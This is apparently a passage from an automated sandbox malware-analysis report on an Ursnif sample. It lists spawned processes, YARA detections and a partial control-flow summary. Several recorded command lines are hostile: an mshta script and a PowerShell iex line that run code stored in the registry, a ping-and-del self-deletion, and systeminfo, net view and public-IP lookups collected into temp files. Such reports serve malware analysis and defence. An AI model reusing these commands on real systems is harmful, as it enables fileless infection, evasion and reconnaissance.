                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.491794343.0000000006378000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000004.00000003.435816444.000000000552A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          Reputation:high

                                          General

                                          Target ID:7
                                          Start time:16:14:52
                                          Start date:22/04/2022
                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                          Wow64 process (32bit):true
                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 604
                                          Imagebase:0xc00000
                                          File size:434592 bytes
                                          MD5 hash:9E2B8ACAD48ECCA55C0230D63623661B
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high

                                          General

                                          Target ID:9
                                          Start time:16:14:57
                                          Start date:22/04/2022
                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                          Wow64 process (32bit):true
                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 612
                                          Imagebase:0xc00000
                                          File size:434592 bytes
                                          MD5 hash:9E2B8ACAD48ECCA55C0230D63623661B
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high

                                          General

                                          Target ID:12
                                          Start time:16:15:06
                                          Start date:22/04/2022
                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                          Wow64 process (32bit):true
                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 640
                                          Imagebase:0xc00000
                                          File size:434592 bytes
                                          MD5 hash:9E2B8ACAD48ECCA55C0230D63623661B
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high

                                          General

                                          Target ID:18
                                          Start time:16:15:29
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\mshta.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\System32\mshta.exe" "about:<hta:application><script>Qq47='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Qq47).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
                                          Imagebase:0x7ff62e710000
                                          File size:14848 bytes
                                          MD5 hash:197FC97C6A843BEBB445C1D9C58DCBDB
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: SUSP_LNK_SuspiciousCommands, Description: Detects LNK file with suspicious content, Source: 00000012.00000003.457911317.0000023DBE700000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                          Reputation:high

                                          General

                                          Target ID:19
                                          Start time:16:15:31
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          Wow64 process (32bit):false
                                          Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
                                          Imagebase:0x7ff620040000
                                          File size:447488 bytes
                                          MD5 hash:95000560239032BC68B4C2FDFCDEF913
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:.Net C# or VB.NET
                                          Yara matches:
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000013.00000002.686963959.0000019853F48000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000013.00000003.504617331.000001985CADC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          Reputation:high

                                          General

                                          Target ID:20
                                          Start time:16:15:32
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff6406f0000
                                          File size:625664 bytes
                                          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:22
                                          Start time:16:15:40
                                          Start date:22/04/2022
                                          Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdline
                                          Imagebase:0x7ff7a74c0000
                                          File size:2739304 bytes
                                          MD5 hash:B46100977911A0C9FB1C3E5F16A5017D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:.Net C# or VB.NET

                                          General

                                          Target ID:23
                                          Start time:16:15:45
                                          Start date:22/04/2022
                                          Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5B2D.tmp" "c:\Users\user\AppData\Local\Temp\vqkyohgm\CSCBF795D6899604BF9A48E638AB671C4FD.TMP"
                                          Imagebase:0x7ff793530000
                                          File size:47280 bytes
                                          MD5 hash:33BB8BE0B4F547324D93D5D2725CAC3D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:25
                                          Start time:16:15:49
                                          Start date:22/04/2022
                                          Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.cmdline
                                          Imagebase:0x7ff7a74c0000
                                          File size:2739304 bytes
                                          MD5 hash:B46100977911A0C9FB1C3E5F16A5017D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:.Net C# or VB.NET

                                          General

                                          Target ID:26
                                          Start time:16:15:50
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\control.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\control.exe -h
                                          Imagebase:0x7ff76ad30000
                                          File size:117760 bytes
                                          MD5 hash:625DAC87CB5D7D44C5CA1DA57898065F
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 0000001A.00000000.507197742.0000000000930000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000001A.00000002.610002032.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000001A.00000003.508252073.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 0000001A.00000000.504046961.0000000000930000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 0000001A.00000000.505634538.0000000000930000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000001A.00000003.508411466.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000001A.00000003.594123395.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

                                          General

                                          Target ID:27
                                          Start time:16:15:50
                                          Start date:22/04/2022
                                          Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES71E1.tmp" "c:\Users\user\AppData\Local\Temp\g2letrfe\CSC71DE0290BB9F401583CAD01729BF75D7.TMP"
                                          Imagebase:0x7ff793530000
                                          File size:47280 bytes
                                          MD5 hash:33BB8BE0B4F547324D93D5D2725CAC3D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:29
                                          Start time:16:15:59
                                          Start date:22/04/2022
                                          Path:C:\Windows\explorer.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\Explorer.EXE
                                          Imagebase:0x7ff77c400000
                                          File size:3933184 bytes
                                          MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:33
                                          Start time:16:16:12
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\BackgroundTransferHost.exe
                                          Wow64 process (32bit):false
                                          Commandline:"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                          Imagebase:0x7ff638f20000
                                          File size:36864 bytes
                                          MD5 hash:02BA81746B929ECC9DB6665589B68335
                                          Has elevated privileges:true
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:35
                                          Start time:16:16:17
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\cmd.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\d6YCUW421p.dll
                                          Imagebase:0x7ff6edbd0000
                                          File size:273920 bytes
                                          MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:37
                                          Start time:16:16:22
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff6406f0000
                                          File size:625664 bytes
                                          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:38
                                          Start time:16:16:23
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\PING.EXE
                                          Wow64 process (32bit):false
                                          Commandline:ping localhost -n 5
                                          Imagebase:0x7ff705af0000
                                          File size:21504 bytes
                                          MD5 hash:6A7389ECE70FB97BFE9A570DB4ACCC3B
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:39
                                          Start time:16:16:36
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\RuntimeBroker.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                          Imagebase:0x7ff61beb0000
                                          File size:99272 bytes
                                          MD5 hash:C7E36B4A5D9E6AC600DD7A0E0D52DAC5
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000027.00000000.622907247.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000027.00000000.619033467.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000027.00000000.615194902.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

                                          General

                                          Target ID:40
                                          Start time:16:16:36
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\rundll32.exe
                                          Wow64 process (32bit):false
                                          Commandline:"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
                                          Imagebase:0x7ff60bdc0000
                                          File size:69632 bytes
                                          MD5 hash:73C519F050C20580F8A62C849D49215A
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000028.00000000.604999946.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000028.00000003.606984804.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000028.00000002.609139128.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000028.00000003.607160802.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000028.00000000.603233146.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000028.00000000.606133763.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

                                          General

                                          Target ID:41
                                          Start time:16:16:44
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\cmd.exe
                                          Wow64 process (32bit):false
                                          Commandline:cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\6B3A.bi1"
                                          Imagebase:0x7ff6edbd0000
                                          File size:273920 bytes
                                          MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:42
                                          Start time:16:16:46
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff6406f0000
                                          File size:625664 bytes
                                          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:43
                                          Start time:16:16:46
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\nslookup.exe
                                          Wow64 process (32bit):false
                                          Commandline:nslookup myip.opendns.com resolver1.opendns.com
                                          Imagebase:0x7ff757cc0000
                                          File size:86528 bytes
                                          MD5 hash:AF1787F1DBE0053D74FC687E7233F8CE
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:44
                                          Start time:16:16:49
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\cmd.exe
                                          Wow64 process (32bit):false
                                          Commandline:cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\6B3A.bi1"
                                          Imagebase:0x7ff6edbd0000
                                          File size:273920 bytes
                                          MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:45
                                          Start time:16:16:52
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff6406f0000
                                          File size:625664 bytes
                                          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:46
                                          Start time:16:16:52
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\RuntimeBroker.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                          Imagebase:0x7ff61beb0000
                                          File size:99272 bytes
                                          MD5 hash:C7E36B4A5D9E6AC600DD7A0E0D52DAC5
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 0000002E.00000000.667078163.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 0000002E.00000000.654783377.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 0000002E.00000000.661830136.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

                                          General

                                          Target ID:47
                                          Start time:16:17:01
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\cmd.exe
                                          Wow64 process (32bit):false
                                          Commandline:cmd /C "systeminfo.exe > C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                                          Imagebase:0x7ff6edbd0000
                                          File size:273920 bytes
                                          MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:48
                                          Start time:16:17:04
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):true
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0xbc0000
                                          File size:625664 bytes
                                          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:49
                                          Start time:16:17:07
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\cmd.exe
                                          Wow64 process (32bit):false
                                          Commandline:cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                                          Imagebase:0x7ff6edbd0000
                                          File size:273920 bytes
                                          MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:50
                                          Start time:16:17:13
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\RuntimeBroker.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                          Imagebase:0x7ff61beb0000
                                          File size:99272 bytes
                                          MD5 hash:C7E36B4A5D9E6AC600DD7A0E0D52DAC5
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000032.00000000.703035684.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000032.00000000.698826675.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000032.00000000.695593372.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

                                          General

                                          Target ID:51
                                          Start time:16:17:16
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff6406f0000
                                          File size:625664 bytes
                                          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:52
                                          Start time:16:17:22
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\cmd.exe
                                          Wow64 process (32bit):false
                                          Commandline:cmd /C "net view >> C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                                          Imagebase:0x7ff6edbd0000
                                          File size:273920 bytes
                                          MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:53
                                          Start time:16:17:27
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff6406f0000
                                          File size:625664 bytes
                                          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:54
                                          Start time:16:17:28
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\net.exe
                                          Wow64 process (32bit):false
                                          Commandline:net view
                                          Imagebase:0x7ff7e90e0000
                                          File size:56832 bytes
                                          MD5 hash:15534275EDAABC58159DD0F8607A71E5
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:55
                                          Start time:16:17:29
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\RuntimeBroker.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                          Imagebase:0x7ff61beb0000
                                          File size:99272 bytes
                                          MD5 hash:C7E36B4A5D9E6AC600DD7A0E0D52DAC5
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:56
                                          Start time:16:17:40
                                          Start date:22/04/2022
                                          Path:C:\Windows\SysWOW64\cmd.exe
                                          Wow64 process (32bit):true
                                          Commandline:"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                                          Imagebase:0xed0000
                                          File size:232960 bytes
                                          MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000038.00000003.742734831.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000038.00000000.741896221.0000000003610000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000038.00000000.741217358.0000000003610000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000038.00000003.743014164.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000038.00000003.742810151.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000038.00000003.742565489.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000038.00000003.742635161.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000038.00000003.743129288.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000038.00000003.742454861.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000038.00000003.742926350.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000038.00000000.740581278.0000000003610000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000038.00000002.744378617.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000038.00000003.742968366.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

                                          General

                                          Target ID:57
                                          Start time:16:17:41
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff6406f0000
                                          File size:625664 bytes
                                          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:58
                                          Start time:16:17:42
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\cmd.exe
                                          Wow64 process (32bit):false
                                          Commandline:cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                                          Imagebase:0x7ff6edbd0000
                                          File size:273920 bytes
                                          MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:59
                                          Start time:16:17:43
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff6406f0000
                                          File size:625664 bytes
                                          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:60
                                          Start time:16:17:44
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\cmd.exe
                                          Wow64 process (32bit):false
                                          Commandline:cmd /C "nslookup 127.0.0.1 >> C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                                          Imagebase:0x7ff6edbd0000
                                          File size:273920 bytes
                                          MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          General

                                          Target ID:61
                                          Start time:16:17:45
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff6406f0000
                                          File size:625664 bytes
                                          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language

                                          Disassembly

                                          Reset < >

                                            Execution Graph

                                            Execution Coverage:19.3%
                                            Dynamic/Decrypted Code Coverage:0%
                                            Signature Coverage:0%
                                            Total number of Nodes:6
                                            Total number of Limit Nodes:0
                                            execution_graph 122 401700 GetNLSVersion 123 401731 122->123 124 401750 125 401764 124->125 126 401843 GetBinaryTypeW 125->126 127 40177c 125->127 126->127

                                            Callgraph

                                            Executed Functions

                                            Function 00401750 Relevance: 1.6, APIs: 1, Instructions: 68COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 0 401750-401769 call 401078 3 40176b-40178f 0->3 4 40177c-401783 0->4 7 401791-401798 3->7 8 40176d-401778 3->8 6 4018b7-4018c1 4->6 7->6 8->7 9 40177a-40186f GetBinaryTypeW 8->9 13 401871-401878 9->13 14 401883-4018a3 9->14 13->6 15 4018a5-4018ac call 4010a0 14->15 16 40187a-401881 14->16 15->6 16->6
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000002.00000002.411433293.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000002.00000002.411423840.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411496910.000000000042A000.00000020.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411502938.000000000042D000.00000020.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411508958.0000000000432000.00000020.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411523928.0000000000435000.00000020.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411540294.000000000043E000.00000020.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411555558.0000000000441000.00000002.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411621324.0000000000480000.00000002.00000001.01000000.00000005.sdmpDownload File
